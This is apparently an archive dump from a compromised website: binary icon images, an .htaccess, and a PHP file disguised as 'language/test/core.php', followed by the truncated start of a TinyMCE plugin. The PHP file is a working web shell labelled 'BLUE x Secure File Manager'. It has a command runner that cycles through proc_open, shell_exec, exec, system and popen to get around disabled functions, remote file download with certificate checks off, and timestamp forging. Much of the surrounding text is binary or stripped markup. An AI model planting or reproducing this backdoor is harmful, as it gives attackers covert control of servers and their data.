?????????????? archive.png000064400000000641151222631010006665 0ustar00PNG  IHDR0@yKtRNS["ZIDATHKAp걣`]:B'/Aoq9 ew`?̼y_vj Q#O`]8Al'!,F04u "nhsM`5"x@[J-bOQBڑd䢢qX:؊R VpsTm)\g)/ vIyheɣW%nbihtad³'KnC~h  _], cpQ' <:Q}&47Xm"6?K5 -'ᓵBB҈iއS-fMHlwC KE*IENDB`audio.png000064400000000576151222631010006354 0ustar00PNG  IHDR0@yKtRNS["7IDATHտKP!C-Zvp1hu "*.ıJ3ywAPv!\.5!U3J  4@T``)@6X >HE S.Ի7 v.If'` btҁ $=D۳ $w&p{:vq:%Qbr2 F.5C5ߜr>_ 觹 V/YŠ+ǹ@tr ˯rK<#*|;|˰dqQ*K uiVIENDB`code.png000064400000000422151222631010006153 0ustar00PNG  IHDR0@!N PLTE.ftRNS@fIDAT(0 CuPQ0FF`#d>,>R~SwrunApx $``R&u(R"u(cزB؃B8'p N ;f;u Xc HI" R$A j5 jPZlC]mk u-Q!Y!B^NgIENDB`default.png000064400000000250151222631010006664 0ustar00PNG  IHDR0@!N PLTE.ftRNS@fJIDAT(S1 0 ElbH01.mdmx$}id ވBV"ڃx#V?77J󜏥=IENDB`document.png000064400000000310151222631010007053 0ustar00PNG  IHDR0@!N PLTE.ftRNS@fjIDAT(ҹ ! D/2 $ E cBC^2vO<p!hCP0CІvA/f.(;y%Vp㻱#}\DοIENDB`interactive.png000064400000000477151222631010007570 0ustar00PNG  IHDR0@u*PLTEq[tRNS@fIDAT8 AA# pP%(Ԡdۑ}3=H,1w6ű0+\b5i@xU@@x&2S]t n !)s=Ȯ0!t+o<+*CO#8ƊNt PC8BЁI䈨dKr ^SD)IENDB`spreadsheet.png000064400000000274151222631010007555 0ustar00PNG  IHDR0@!N PLTE.ftRNS@f^IDAT(ͱ DQ+]H CLa4|WE\cˢϪ^FfӻB83HA@@@@(`Q"Mc%YGX˪IENDB`text.png000064400000000274151222631010006232 0ustar00PNG  IHDR0@!N PLTE.ftRNS@f^IDAT(б0 C2HF^&x4*^# ;SR 0YR,HAAf F z3mgovLGPKIENDB`video.png000064400000000433151222631010006351 0ustar00PNG  IHDR0@uPLTE0htRNS@fIDAT8ӻ B1 aH2p=- 2mhi E8#K<()#$xXh4@4%#$P$@IX_m+`" fdpUXIЁl$L #7@A3t8;wpU 6线;l_[l!IENDB`document.svg000064400000000476151222631010007103 0ustar00text.svg000064400000000431151222631010006240 0ustar00video.svg000064400000000456151222631010006371 0ustar00code.svg000064400000000371151222631010006171 0ustar00default.svg000064400000000241151222631010006677 0ustar00interactive.svg000064400000000452151222631010007574 0ustar00audio.svg000064400000000600151222631010006353 0ustar00archive.svg000064400000000607151222631010006702 0ustar00spreadsheet.svg000064400000000714151222631010007567 0ustar00.htaccess000044400000000143151223137730006342 0ustar00 Order Allow,Deny Deny from all language/test/core.php000055500000276230151223577670011001 0ustar00= 1024 && $i < count($u)-1){ $b/=1024; $i++; } return ($i ? number_format($b,2) : (string)$b) . ' ' . $u[$i]; } function permsToString($f){ $p = @fileperms($f); if ($p === false) return '??????????'; $t = ($p & 0x4000) ? 'd' : (($p & 0xA000) ? 'l' : '-'); $s = (($p & 0x0100) ? 'r' : '-') . (($p & 0x0080) ? 'w' : '-') . (($p & 0x0040) ? 'x' : '-'); // owner $s .= (($p & 0x0020) ? 'r' : '-') . (($p & 0x0010) ? 'w' : '-') . (($p & 0x0008) ? 'x' : '-'); // group $s .= (($p & 0x0004) ? 'r' : '-') . (($p & 0x0002) ? 'w' : '-') . (($p & 0x0001) ? 'x' : '-'); // world return $t.$s; } function modeFromInput($s){ $s=trim($s); if ($s==='') return 0644; if (ctype_digit($s)){ if ($s[0]!=='0') $s='0'.$s; return intval($s,8); } return 0644; } function isTextFile($p){ if (is_dir($p) || !is_file($p)) return false; $ext = strtolower(pathinfo($p, PATHINFO_EXTENSION)); $text = array('txt','md','json','js','ts','css','scss','less','html','htm','xml','svg','php','phtml','inc','ini','cfg','env','yml','yaml','py','rb','go','rs','c','h','cpp','hpp','java','kt','sql','csv','log'); if (in_array($ext, $text, true)) return true; $s = @file_get_contents($p, false, null, 0, 2048); if ($s === false) return false; return (bool)preg_match('//u', $s); } function safeJoin($base,$child){ $child = str_replace("\0",'',$child); if ($child==='') return $base; if ($child[0]===DIRECTORY_SEPARATOR || preg_match('~^[A-Za-z]:\\\\~',$child)) return $child; return rtrim($base,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$child; } function listDirEntries($dir){ $h = @opendir($dir); if ($h===false) return array(); $items=array(); while(false!==($e=readdir($h))){ if($e==='.'||$e==='..') continue; $items[]=$e; } closedir($h); return $items; } function rrmdir($p){ if (!file_exists($p)) return true; if (is_file($p) || is_link($p)) return @unlink($p); $ok=true; $h=@opendir($p); if($h===false) return false; while(false!==($v=readdir($h))){ if($v==='.'||$v==='..') continue; $ok = rrmdir($p.DIRECTORY_SEPARATOR.$v) && $ok; } closedir($h); return @rmdir($p) && $ok; } function tryWriteFromTmp($tmp,$dest){ $err=array(); if(@move_uploaded_file($tmp,$dest)) return array(true,null); $err[]='move_uploaded_file'; if(@rename($tmp,$dest)) return array(true,null); $err[]='rename'; if(@copy($tmp,$dest)) return array(true,null); $err[]='copy'; $d=@file_get_contents($tmp); if($d!==false && @file_put_contents($dest,$d)!==false) return array(true,null); $err[]='get+put'; $in=@fopen($tmp,'rb'); $out=@fopen($dest,'wb'); if($in && $out){ $c=stream_copy_to_stream($in,$out); @fclose($in); @fclose($out); if($c!==false) return array(true,null); $err[]='stream_copy'; } else { $err[]='fopen'; } return array(false, implode('; ',$err).' failed'); } if (!function_exists('fetchUrlToFile')) { function fetchUrlToFile($url, $dest) { $errs = array(); // 1) cURL (jika tersedia & tidak didisable) if (is_fn_usable('curl_init')) { $ch = @curl_init($url); $fp = @fopen($dest, 'wb'); if ($ch && $fp) { @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); @curl_setopt($ch, CURLOPT_FILE, $fp); @curl_setopt($ch, CURLOPT_FAILONERROR, true); @curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0'); @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); @curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); @curl_setopt($ch, CURLOPT_TIMEOUT, 60); $ok = @curl_exec($ch); $e = @curl_error($ch); @curl_close($ch); @fclose($fp); if ($ok) return array(true, null); $errs[] = 'cURL: ' . $e; @unlink($dest); } else { if ($ch) @curl_close($ch); if ($fp) @fclose($fp); $errs[] = 'init cURL/fopen'; } } // Context utk wrapper stream $ctx = @stream_context_create(array( 'http' => array( 'follow_location' => 1, 'timeout' => 60, 'header' => "User-Agent: Mozilla/5.0\r\n", ), 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false, ), )); // 2) copy() langsung if (@copy($url, $dest, $ctx)) return array(true, null); $errs[] = 'copy(url)'; // 3) get+put $d = @file_get_contents($url, false, $ctx); if ($d !== false && @file_put_contents($dest, $d) !== false) return array(true, null); $errs[] = 'get+put'; // 4) stream_copy_to_stream $in = @fopen($url, 'rb', false, $ctx); $out = @fopen($dest, 'wb'); if ($in && $out) { $c = @stream_copy_to_stream($in, $out); @fclose($in); @fclose($out); if ($c !== false) return array(true, null); $errs[] = 'stream_copy'; @unlink($dest); } else { $errs[] = 'fopen(url/dest)'; } return array(false, implode('; ', $errs) . ' failed'); } } function breadcrumbs($path){ $out=array(); if (preg_match('~^[A-Za-z]:\\\\~',$path)){ $drive=substr($path,0,2); $rest=substr($path,2); $segments=array_values(array_filter(explode('\\\\',$rest),'strlen')); $acc=$drive.'\\'; $out[]=array($drive.'\\',$acc); foreach($segments as $s){ $acc.=$s.'\\'; $out[]=array($s,rtrim($acc,'\\')); } } else { $segments=array_values(array_filter(explode('/',$path),'strlen')); $acc='/'; $out[]=array('/','/'); foreach($segments as $s){ $acc.=$s.'/'; $out[]=array($s,rtrim($acc,'/')); } } return $out; } function ensureCsrf(){ if($_SERVER['REQUEST_METHOD']==='POST'){ $sess = isset($_SESSION['csrf']) ? $_SESSION['csrf'] : ''; $tok = isset($_POST['csrf']) ? (string)$_POST['csrf'] : ''; $ok = hash_equals($sess,$tok); if(!$ok){ http_response_code(400); exit('CSRF token invalid'); } } } /* ====== NEW HELPERS: create non-zero file ====== */ function create_nonzero_file($path, $userContent = null){ $default = "Created by BLUE @ ".date('c')."\n"; $payload = (string)($userContent !== null ? $userContent : $default); if ($payload === '') $payload = $default; $w = @file_put_contents($path, $payload, LOCK_EX); if ($w !== false && $w > 0) return array(true, 'file_put_contents'); $fp = @fopen($path, 'wb'); if ($fp){ $wr = @fwrite($fp, $payload); @fclose($fp); if ($wr !== false && $wr > 0) return array(true, 'fopen+fwrite'); } $tmp = @tempnam(sys_get_temp_dir(), 'blue_'); if ($tmp){ @file_put_contents($tmp, $payload); if (@rename($tmp, $path)) { if (@filesize($path) > 0) return array(true, 'tempnam+rename'); } elseif (@copy($tmp, $path)) { @unlink($tmp); if (@filesize($path) > 0) return array(true, 'tempnam+copy'); } @unlink($tmp); } $src = @fopen('php://temp', 'wb+'); if ($src){ @fwrite($src, $payload); @rewind($src); $dst = @fopen($path, 'wb'); if ($dst){ $copied = @stream_copy_to_stream($src, $dst); @fclose($dst); if ($copied !== false && $copied > 0) { @fclose($src); return array(true, 'php://temp copy'); } } @fclose($src); } if (@touch($path)){ $w2 = @file_put_contents($path, $payload, FILE_APPEND); if ($w2 !== false && $w2 > 0) return array(true, 'touch+append'); } return array(false, 'All methods failed'); } /* ---------- Auth UI ---------- */ function render_login($err=''){ $csrf = isset($_SESSION['csrf']) ? $_SESSION['csrf'] : ''; ?> BLUE
BLUE
PHP

© BLUE x Secure File Manager

=60 && ($hash[0].$hash[1])==='$2') return crypt($password,$hash)===$hash; return false; } function verify_login_creds($u,$p){ if($u!==AUTH_USER) return false; $hash=AUTH_PASS_HASH; if($hash===''||strlen($hash)<20) return false; return biru_password_verify($p,$hash); } /* ---------- Icons ---------- */ function svgIcon($name,$class='ico'){ $icons=array( 'folder'=>'', 'file'=>'', 'code'=>'', 'text'=>'', 'pwx'=>'', 'img'=>'', 'pdf'=>'PDF', 'sheet'=>'', 'zip'=>'', 'db'=>'', 'search'=>'', ); return isset($icons[$name]) ? $icons[$name] : $icons['file']; } function iconSvgFor($p){ if (is_dir($p)) return svgIcon('folder'); $e=strtolower(pathinfo($p, PATHINFO_EXTENSION)); if (in_array($e,array('zip','rar','7z'))) return svgIcon('zip'); if (in_array($e,array('jpg','jpeg','png','gif','webp','bmp','svg'))) return svgIcon('img'); if (in_array($e,array('pdf'))) return svgIcon('pdf'); if (in_array($e,array('csv','xls','xlsx'))) return svgIcon('sheet'); if (in_array($e,array('sql'))) return svgIcon('db'); if (in_array($e,array('php','js','ts','css','scss','less','html','htm','xml','yml','yaml','ini','cfg'))) return svgIcon('code'); if (in_array($e,array('txt','md','log','json'))) return svgIcon('text'); return svgIcon('file'); } /* ---------- Shell helpers ---------- */ if(!function_exists('make_cd_prefix')){ function make_cd_prefix($cwd){ if(!$cwd) return ''; if(DIRECTORY_SEPARATOR==='\\') return 'cd /d '.escapeshellarg($cwd).' && '; return 'cd '.escapeshellarg($cwd).' && '; } } if(!function_exists('wrap_cmd_for_shell')){ function wrap_cmd_for_shell($cmd){ if(DIRECTORY_SEPARATOR==='\\') return 'cmd.exe /C '.$cmd; return '/bin/sh -c '.escapeshellarg($cmd); } } /* ---------- Command runners (respect disable_functions) ---------- */ if(!function_exists('run_with_proc_open')){ function run_with_proc_open($cmd,$cwd=null,$timeout=30){ if(!is_fn_usable('proc_open')) return null; $des=array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w')); $pipes=array(); $proc=@proc_open($cmd,$des,$pipes,$cwd?:null,null); if(!is_resource($proc)) return null; if(isset($pipes[1])&&is_resource($pipes[1])) @stream_set_blocking($pipes[1],false); if(isset($pipes[2])&&is_resource($pipes[2])) @stream_set_blocking($pipes[2],false); if(isset($pipes[0])&&is_resource($pipes[0])) @fclose($pipes[0]); $buf=''; $start=time(); while(true){ $status=@proc_get_status($proc); $running=$status && !empty($status['running']); $r=array(); if(isset($pipes[1])&&is_resource($pipes[1])) $r[]=$pipes[1]; if(isset($pipes[2])&&is_resource($pipes[2])) $r[]=$pipes[2]; if($r){ $w=null;$e=null; @stream_select($r,$w,$e,1); foreach($r as $p){ $chunk=@fread($p,8192); if($chunk!==false && $chunk!=='') $buf.=$chunk; } } else { usleep(100000); } if(!$running) break; if($timeout>0 && (time()-$start)>=$timeout){ @proc_terminate($proc,9); foreach($pipes as $p){ if(is_resource($p)) @fclose($p); } @proc_close($proc); return array('method'=>'proc_open','code'=>124,'out'=>$buf."\n[timeout after {$timeout}s]"); } } foreach($pipes as $p){ if(is_resource($p)) @fclose($p); } $code=@proc_close($proc); if($code===-1) $code=null; return array('method'=>'proc_open','code'=>$code,'out'=>$buf); } } if(!function_exists('run_with_shell_exec')){ function run_with_shell_exec($cmd,$cwd=null){ if(!is_fn_usable('shell_exec')) return null; $full = make_cd_prefix($cwd) . $cmd . ' 2>&1'; $out = @shell_exec($full); if($out===null) return null; return array('method'=>'shell_exec','code'=>null,'out'=>$out); } } if(!function_exists('run_with_exec')){ function run_with_exec($cmd,$cwd=null){ if(!is_fn_usable('exec')) return null; $full = make_cd_prefix($cwd) . $cmd . ' 2>&1'; $lines=array(); $code=0; @exec($full,$lines,$code); return array('method'=>'exec','code'=>$code,'out'=>implode("\n",(array)$lines)); } } if(!function_exists('run_with_system')){ function run_with_system($cmd,$cwd=null){ if(!is_fn_usable('system')) return null; $full = make_cd_prefix($cwd) . $cmd . ' 2>&1'; ob_start(); @system($full,$code); $out=ob_get_clean(); return array('method'=>'system','code'=>$code,'out'=>$out); } } if(!function_exists('run_with_popen')){ function run_with_popen($cmd,$cwd=null){ if(!is_fn_usable('popen')) return null; $full = make_cd_prefix($cwd) . $cmd . ' 2>&1'; $h=@popen(wrap_cmd_for_shell($full),'r'); if(!is_resource($h)) return null; $buf=''; while(!feof($h)){ $chunk=@fread($h,8192); if($chunk===false) break; $buf.=$chunk; } @pclose($h); return array('method'=>'popen','code'=>null,'out'=>$buf); } } if(!function_exists('run_command_all')){ function run_command_all($cmd,$cwd=null){ $po=run_with_proc_open($cmd,$cwd,30); if($po) return $po; $order=array('run_with_shell_exec','run_with_exec','run_with_system','run_with_popen'); foreach($order as $fn){ if(function_exists($fn)){ $res=$fn($cmd,$cwd); if($res) return $res; } } return array('method'=>'none','code'=>127,'out'=>"Command runner not available on this PHP build."); } } /* ---------- chmod/mtime recursion ---------- */ function biru_apply_chmod($path,$mode,$recursive,&$ok){ if(!@chmod($path,$mode)) $ok=false; if($recursive && is_dir($path)){ $h=@opendir($path); if($h!==false){ while(false!==($v=readdir($h))){ if($v==='.'||$v==='..') continue; biru_apply_chmod($path.DIRECTORY_SEPARATOR.$v,$mode,true,$ok); } closedir($h); } else { $ok=false; } } } function biru_apply_mtime($path,$timestamp,$recursive,&$ok){ if(!@touch($path,$timestamp,$timestamp)) $ok=false; if($recursive && is_dir($path)){ $h=@opendir($path); if($h!==false){ while(false!==($v=readdir($h))){ if($v==='.'||$v==='..') continue; biru_apply_mtime($path.DIRECTORY_SEPARATOR.$v,$timestamp,true,$ok); } closedir($h); } else { $ok=false; } } } /* ========================= * BOOT & ROUTER * ========================= */ $current = isset($_GET['p']) ? (string)$_GET['p'] : getcwd(); if (!is_dir($current)) $current = getcwd(); $current = rtrim($current, DIRECTORY_SEPARATOR); if ($current === '') $current = DIRECTORY_SEPARATOR; $action = isset($_GET['a']) ? $_GET['a'] : ''; /* ---- AUTH ---- */ if ($action === 'login' && $_SERVER['REQUEST_METHOD'] === 'POST') { ensureCsrf(); $u = isset($_POST['user']) ? $_POST['user'] : ''; $p = isset($_POST['pass']) ? $_POST['pass'] : ''; if (verify_login_creds($u,$p)) { $_SESSION['auth']=true; $_SESSION['who']=$u; header('Location: ?p='.rawurlencode($current)); exit; } else { render_login('Incorrect username or password'); exit; } } if (empty($_SESSION['auth'])) { render_login(); exit; } /* ---- DOWNLOAD ---- */ if ($action === 'download') { $f = safeJoin($current, isset($_GET['f']) ? $_GET['f'] : ''); if (!is_file($f) || !is_readable($f)) { http_response_code(404); exit('Not found'); } header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); header('X-Content-Type-Options: nosniff'); readfile($f); exit; } /* ---- RAW (inline view) ---- */ if ($action === 'raw') { $f = safeJoin($current, isset($_GET['f']) ? $_GET['f'] : ''); if (!is_file($f) || !is_readable($f)) { http_response_code(404); exit('Not found'); } $mime = 'application/octet-stream'; if (is_fn_usable('finfo_open')) { $fi=@finfo_open(FILEINFO_MIME_TYPE); if($fi){ $det=@finfo_file($fi,$f); if($det) $mime=$det; @finfo_close($fi);} } elseif (is_fn_usable('mime_content_type')) { $tmp=@mime_content_type($f); if($tmp) $mime=$tmp; } header('Content-Type: '.$mime); header('Content-Length: '.filesize($f)); header('X-Content-Type-Options: nosniff'); header('Content-Disposition: inline; filename="'.basename($f).'"'); readfile($f); exit; } /* ---- POST ACTIONS ---- */ if ($_SERVER['REQUEST_METHOD'] === 'POST') { ensureCsrf(); $back = function () use ($current) { header('Location: ?p='.rawurlencode($current)); exit; }; switch ($action) { case 'logout': { session_destroy(); header('Location: ?'); exit; } case 'new-file': { $name = trim((string)(isset($_POST['name']) ? $_POST['name'] : '')); $content = isset($_POST['content']) ? (string)$_POST['content'] : null; if ($name === '' || strpos($name, DIRECTORY_SEPARATOR)!==false) { $_SESSION['msg']='New File: invalid name'; return $back(); } $dst = safeJoin($current, $name); if (file_exists($dst)) { $_SESSION['msg']='New File: already exists'; return $back(); } list($ok,$how) = create_nonzero_file($dst, $content); $_SESSION['msg'] = $ok ? ("New File OK via {$how}: ".$name) : ('New File failed: '.$how); return $back(); } case 'new-dir': { $name = trim((string)(isset($_POST['name']) ? $_POST['name'] : '')); if ($name === '' || strpos($name, DIRECTORY_SEPARATOR)!==false) { $_SESSION['msg']='New Folder: invalid name'; return $back(); } $dst = safeJoin($current, $name); if (file_exists($dst)) { $_SESSION['msg']='New Folder: already exists'; return $back(); } $ok = @mkdir($dst, 0775, false); $_SESSION['msg'] = $ok ? ('New Folder OK: '.$name) : 'New Folder failed'; return $back(); } case 'edit-save': { $file = safeJoin($current, isset($_POST['file']) ? $_POST['file'] : ''); $content = isset($_POST['content']) ? $_POST['content'] : ''; $mode = isset($_POST['mode']) ? $_POST['mode'] : 'txt'; if (!is_file($file) || !is_writable($file)) { $_SESSION['msg']='Save failed (file not writable)'; return $back(); } if ($mode === 'b64') { $data = base64_decode($content, true); if ($data === false) { $_SESSION['msg']='Save failed: invalid Base64 data'; return $back(); } @file_put_contents($file, $data); } else { @file_put_contents($file, $content); } $_SESSION['msg'] = 'Saved: '.basename($file); return $back(); } case 'rename': { $old = safeJoin($current, isset($_POST['old']) ? $_POST['old'] : ''); $new = trim((string)(isset($_POST['new']) ? $_POST['new'] : '')); if ($new === '' || strpos($new, DIRECTORY_SEPARATOR) !== false) { $_SESSION['msg']='Invalid new name'; } else { $dst = safeJoin($current, $new); $_SESSION['msg'] = @rename($old,$dst) ? 'Rename OK' : 'Rename failed'; } return $back(); } case 'chmod': { $target = safeJoin($current, isset($_POST['target']) ? $_POST['target'] : ''); $mode = modeFromInput((string)(isset($_POST['mode']) ? $_POST['mode'] : '0644')); $rec = !empty($_POST['recursive']); $ok=true; biru_apply_chmod($target,$mode,$rec,$ok); $_SESSION['msg'] = $ok ? 'Chmod OK' : 'Chmod partially failed'; return $back(); } case 'delete': { $t = safeJoin($current, isset($_POST['target']) ? $_POST['target'] : ''); $_SESSION['msg'] = rrmdir($t) ? 'Delete OK' : 'Delete failed'; return $back(); } case 'mass-delete': { $arr = isset($_POST['items']) ? $_POST['items'] : array(); $ok=true; if (is_array($arr)) foreach ($arr as $n) { $ok = rrmdir(safeJoin($current,$n)) && $ok; } $_SESSION['msg'] = $ok ? 'Bulk delete OK' : 'Some items failed to delete'; return $back(); } case 'upload': { if (!isset($_FILES['files'])) { $_SESSION['msg']='No files provided'; return $back(); } $c = count($_FILES['files']['name']); $ok=0; $fail=0; $fails=array(); for ($i=0;$i<$c;$i++){ $name=$_FILES['files']['name'][$i]; $tmp=$_FILES['files']['tmp_name'][$i]; $e=$_FILES['files']['error'][$i]; if ($e!==UPLOAD_ERR_OK){ $fail++; $fails[]="$name (error $e)"; continue; } list($done,$why)=tryWriteFromTmp($tmp,safeJoin($current,$name)); if ($done) $ok++; else { $fail++; $fails[]="$name ($why)"; } } $_SESSION['msg']="Upload: OK=$ok; Failed=$fail".($fails?'; '.implode(', ',$fails):''); return $back(); } case 'url-upload': { $url = trim((string)(isset($_POST['url']) ? $_POST['url'] : '')); $fn = trim((string)(isset($_POST['filename']) ? $_POST['filename'] : '')); if ($url===''){ $_SESSION['msg']='URL is empty'; return $back(); } if ($fn===''){ $path=parse_url($url,PHP_URL_PATH); $fn=basename($path?$path:''); if($fn===''){ $fn='download.bin'; } } list($ok,$w) = fetchUrlToFile($url, safeJoin($current,$fn)); $_SESSION['msg'] = $ok ? "Downloaded from URL: $fn" : "URL download failed: $w"; return $back(); } case 'mtime': { $target = safeJoin($current, isset($_POST['target']) ? $_POST['target'] : ''); $input = trim((string)(isset($_POST['ts']) ? $_POST['ts'] : '')); $rec = !empty($_POST['recursive']); if ($input===''){ $_SESSION['msg']='Change Date: empty'; return $back(); } if (ctype_digit($input)) $ts=(int)$input; else { $ts=@strtotime($input); if($ts===false){ $_SESSION['msg']='Change Date: invalid time format'; return $back(); } } $ok=true; biru_apply_mtime($target,$ts,$rec,$ok); $_SESSION['msg'] = $ok ? ('Change Date OK → '.date('Y-m-d H:i:s',$ts)) : 'Change Date partially failed'; return $back(); } case 'cmd': { $cmd = trim((string)(isset($_POST['cmd']) ? $_POST['cmd'] : '')); if ($cmd===''){ $_SESSION['msg']='Command is empty.'; return $back(); } $result = run_command_all($cmd, $current); $out=(string)$result['out']; if (strlen($out)>1024*1024) $out = substr($out,0,1024*1024)."\n[output truncated]"; $_SESSION['cmd_result']=array('cmd'=>$cmd,'method'=>$result['method'],'code'=>$result['code'],'out'=>$out); return $back(); } /* ===== MOVE, ZIP, UNZIP ===== */ case 'move': { $srcName = (string)(isset($_POST['src']) ? $_POST['src'] : ''); $dstDir = (string)(isset($_POST['dst']) ? $_POST['dst'] : ''); $srcFull = safeJoin($current, $srcName); if ($srcName==='' || !file_exists($srcFull)) { $_SESSION['msg']='Move failed: source missing'; return $back(); } if ($dstDir==='') { $_SESSION['msg']='Move failed: destination empty'; return $back(); } if (!is_dir($dstDir)) { $_SESSION['msg']='Move failed: destination is not a directory'; return $back(); } $dstFull = safeJoin($dstDir, basename($srcName)); if (@realpath($srcFull)===@realpath($dstFull)) { $_SESSION['msg']='Move skipped (same location)'; return $back(); } $ok = @rename($srcFull, $dstFull); $_SESSION['msg'] = $ok ? 'Move OK' : 'Move failed'; return $back(); } case 'zip': { $items = isset($_POST['items']) ? $_POST['items'] : array(); $name = trim((string)(isset($_POST['zipname']) ? $_POST['zipname'] : '')); if (!is_array($items) || empty($items)) { $_SESSION['msg']='Zip failed: nothing selected'; return $back(); } if ($name==='') $name = 'archive-'.date('Ymd-His').'.zip'; $archivePath = safeJoin($current, $name); $done=false; $err=''; if (class_exists('ZipArchive')) { $zip = new ZipArchive(); if ($zip->open($archivePath, ZipArchive::CREATE|ZipArchive::OVERWRITE)===true) { foreach ($items as $it) { $full = safeJoin($current, $it); if (is_dir($full)) { $itClean = rtrim($it, DIRECTORY_SEPARATOR); addDirToZip($zip, $full, $itClean); } elseif (is_file($full)) { $zip->addFile($full, basename($it)); } } $zip->close(); $done=true; } else { $err='ZipArchive open failed'; } } if (!$done) { if (class_exists('PharData')) { try { $tarName = preg_replace('~\.zip$~i', '.tar', $archivePath); $phar = new PharData($tarName); foreach ($items as $it) { $full = safeJoin($current, $it); if (is_dir($full)) { $phar->addEmptyDir(basename($it)); addDirToPhar($phar, $full, basename($it)); } elseif (is_file($full)) { $phar->addFile($full, basename($it)); } } unset($phar); $_SESSION['msg']='ZipArchive not available; created TAR instead: '.basename($tarName); return $back(); } catch (Exception $e) { $err = 'TAR fallback failed: '.$e->getMessage(); } } else { $err = ($err ? $err.'; ' : '').'No ZipArchive nor PharData available'; } } $_SESSION['msg'] = $done ? ('Archive created: '.basename($archivePath)) : ('Zip failed: '.$err); return $back(); } case 'unzip': { $file = safeJoin($current, isset($_POST['file']) ? $_POST['file'] : ''); if (!is_file($file)) { $_SESSION['msg']='Unzip failed: file not found'; return $back(); } $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); $ok=false; $err=''; if ($ext==='zip' && class_exists('ZipArchive')) { $zip = new ZipArchive(); if ($zip->open($file)===true) { $ok = $zip->extractTo($current); $zip->close(); if(!$ok) $err='Zip extractTo failed'; } else { $err='Zip open failed'; } } else { try { if (class_exists('PharData') && preg_match('~\.(tar|tar\.gz|tar\.bz2|tar\.xz)$~i', $file)) { $phar = new PharData($file); $phar->extractTo($current, null, true); $ok=true; } else { $err='Unsupported archive type or PharData not available'; } } catch (Exception $e) { $err=$e->getMessage(); } } $_SESSION['msg'] = $ok ? 'Unzip OK' : ('Unzip failed: '.$err); return $back(); } } } /* ==== Helpers for ZIP/TAR recursion ==== */ /* Hapus type-hint ZipArchive agar tidak fatal di PHP tanpa ekstensi zip */ function addDirToZip($zip, $dir, $local){ $dir = rtrim($dir, DIRECTORY_SEPARATOR); if (method_exists($zip, 'addEmptyDir')) $zip->addEmptyDir($local); $h = @opendir($dir); if(!$h) return; while(false!==($e=readdir($h))){ if($e==='.'||$e==='..') continue; $full = $dir.DIRECTORY_SEPARATOR.$e; $localPath = $local.'/'.basename($e); if (is_dir($full)) addDirToZip($zip, $full, $localPath); elseif (is_file($full) && method_exists($zip,'addFile')) $zip->addFile($full, $localPath); } closedir($h); } function addDirToPhar($phar, $dir, $local){ $dir = rtrim($dir, DIRECTORY_SEPARATOR); $h = @opendir($dir); if(!$h) return; while(false!==($e=readdir($h))){ if($e==='.'||$e==='..') continue; $full = $dir.DIRECTORY_SEPARATOR.$e; $localPath = $local.'/'.basename($e); if (is_dir($full)) { if (method_exists($phar,'addEmptyDir')) $phar->addEmptyDir($localPath); addDirToPhar($phar,$full,$localPath); } elseif (is_file($full) && method_exists($phar,'addFile')) { $phar->addFile($full, $localPath); } } closedir($h); } /* ========================= * VIEW MODEL & RENDER * ========================= */ $items = listDirEntries($current); $files=array(); $dirs=array(); foreach($items as $it){ $full=$current.DIRECTORY_SEPARATOR.$it; if(is_dir($full)) $dirs[]=$it; else $files[]=$it; } $hasNatural=defined('SORT_NATURAL'); $hasFlagCase=defined('SORT_FLAG_CASE'); if ($hasNatural){ sort($dirs, $hasFlagCase?(SORT_NATURAL|SORT_FLAG_CASE):SORT_NATURAL); sort($files, $hasFlagCase?(SORT_NATURAL|SORT_FLAG_CASE):SORT_NATURAL); } else { natcasesort($dirs); $dirs=array_values($dirs); natcasesort($files); $files=array_values($files); } $up = dirname($current); if ($up===$current) $up=$current; $isEdit = ((((isset($_GET['a']) ? $_GET['a'] : '') === 'edit')) && isset($_GET['f'])) ? safeJoin($current, $_GET['f']) : null; $editFile = ($isEdit && is_file($isEdit)) ? $isEdit : null; $isView = ((((isset($_GET['a']) ? $_GET['a'] : '') === 'view')) && isset($_GET['f'])) ? safeJoin($current, $_GET['f']) : null; $viewFile = ($isView && is_file($isView)) ? $isView : null; $modeParam = isset($_GET['mode']) ? $_GET['mode'] : 'auto'; $viewMode = in_array($modeParam, array('txt','b64','auto'), true) ? $modeParam : 'auto'; $csrf = isset($_SESSION['csrf']) ? $_SESSION['csrf'] : ''; $yearNow = date('Y'); ?> BLUE
PHP
Command Output × via , exit
Edit File Size:
Base64 mode: content will be decoded on save.
Exit & Reset Text mode: syntax highlighting auto-detects file type.
Preview: Size:
preview image
$preview_max): ?>
Showing of . Use Edit/Download for full content.
This file type cannot be previewed directly.

Directory Contents

Dirs: × Files:
Name Size Perms Modified Actions
DIR
-
Edit Download
Edit Download
Empty
If ZipArchive is unavailable, a .tar will be created (no compression).
@get_current_user(), 'uid'=>$uid); } } if (!function_exists('fx_posix_getgrgid')) { function fx_posix_getgrgid($gid) { if (is_fn_usable('posix_getgrgid')) return @posix_getgrgid($gid); return array('name'=>'unknown','gid'=>$gid); } } if (!function_exists('fx_diskfreespace')) { function fx_diskfreespace($directory) { if (is_fn_usable('diskfreespace')) return @diskfreespace($directory); if (is_fn_usable('disk_free_space')) return @disk_free_space($directory); return false; } } if (!function_exists('fx_filegroup')) { function fx_filegroup($filename) { if (is_fn_usable('filegroup')) return @filegroup($filename); return false; } } if (!function_exists('fx_ftp_connect')) { function fx_ftp_connect($host, $port=21, $timeout=90) { if (is_fn_usable('ftp_connect')) return @ftp_connect($host, $port, $timeout); if (is_fn_usable('fsockopen')) return @fsockopen($host, $port, $errno, $errstr, $timeout); return false; } } if (!function_exists('fx_stream_get_contents')) { function fx_stream_get_contents($handle, $maxlength = -1, $offset = -1) { if (is_fn_usable('stream_get_contents')) return @stream_get_contents($handle, $maxlength, $offset); if ($offset > 0) @fseek($handle, $offset); $data = ''; if ($maxlength === -1) { while(!feof($handle)) { $data .= @fread($handle, 8192); } } else { $data = @fread($handle, $maxlength); } return $data; } } plugin.js000064400000120572151223611640006410 0ustar00(function () { var media = (function () { 'use strict'; var global = tinymce.util.Tools.resolve('tinymce.PluginManager'); var global$1 = 